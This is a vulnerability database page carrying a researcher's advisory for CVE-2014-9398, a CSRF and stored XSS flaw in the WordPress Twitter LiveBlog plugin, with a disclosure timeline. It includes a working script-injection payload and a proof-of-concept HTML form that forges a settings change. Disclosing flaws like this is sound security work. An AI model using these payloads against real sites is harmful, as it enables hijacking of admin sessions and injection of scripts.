Vulners
Lucene search
WordPress Twitter LiveBlog 1.1.2 CSRF / XSS
| Reporter | Title | Published | Views | Family All 8 |
|---|---|---|---|---|
 | WordPress Plugin Twitter LiveBlog Cross-Site Request Forgery Vulnerability | 8 Jan 201500:00 | – | cnvd |
 | CVE-2014-9398 | 31 Dec 201421:00 | – | cve |
 | CVE-2014-9398 | 31 Dec 201421:00 | – | cvelist |
 | EUVD-2014-9219 | 7 Oct 202500:30 | – | euvd |
 | CVE-2014-9398 | 31 Dec 201421:59 | – | nvd |
 | WordPress Twitter LiveBlog Plugin <= 1.1.2 - CSRF and XSS | 17 Dec 201400:00 | – | patchstack |
 | Cross site request forgery (csrf) | 31 Dec 201421:59 | – | prion |
 | Twitter Liveblog <= 1.1.2 - Multiple CSRF | 18 Dec 201400:00 | – | wpvulndb |
`# Title: CSRF / Stored XSS Vulnerability in Twitter LiveBlog Wordpress Plugin
# Author: Manideep K
# CVE-ID: CVE-2014-9398
# Plugin Homepage: https://wordpress.org/plugins/twitter-liveblog/
# Version Affected: 1.1.2 (probably lower versions)
# Severity: High
# Description:
# Vulnerable Parameter: mashtlb_twitter_username etc
# About Vulnerability: This plugin is vulnerable to a combination of CSRF/XSS attack meaning that if an admin user can be tricked to visit a crafted URL created by attacker (via spear phishing/social engineering), the attacker can insert arbitrary script into admin page. Once exploited, admins browser can be made to do almost anything the admin user could typically do by hijacking admin's cookies etc.
# Vulnerability Class:
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29
Cross Site Scripting (https://www.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_(XSS))
Steps to Reproduce: (POC):
After installing the plugin
Stored XSS:
1. Goto settings -> Twitter LiveBlog
2. Enter this payload "><script>alert(32)</script> in any/all of the text fields.
3. Save changes and see XSS in action
4. Visit settings page of this plugin anytime later and you can see the script executing as it is stored.
Plugin does not uses any nonces and hence, the same settings can be changed using CSRF attack and the PoC code for the same is below
<html>
<body>
<form action="http://localhost/wordpress/wp-admin/options-general.php?page=twitter-liveblog.php" method="POST">
<input type="hidden" name="mashtlb_twitter_username" value="csrf baby" />
<input type="hidden" name="mashtlb_twitter_password" value="hi" />
<input type="hidden" name="mashtlb_blog_post_category" value="1" />
<input type="hidden" name="mashtlb_blog_post_tags" value="be" />
<input type="hidden" name="mashtlb_blog_post_author" value="1" />
<input type="hidden" name="mashtlb_twitter_interval" value="10" />
<input type="hidden" name="mashtlb_twitter_liveblog_interval" value="2" />
<input type="hidden" name="mashtlb_update_settings" value="Update Options" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
# Mitigation:
Reported - Not yet fixed
# Disclosure:
2014-11-06: Author notification
2014-11-20: WP Team action taken by closing the plugin as there is no response from author
2014-12-09: Public Disclosure
# Credits:
Manideep K
Information Security Researcher
https://in.linkedin.com/in/manideepk
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
18 Dec 2014 00:00Current
EPSS0.00095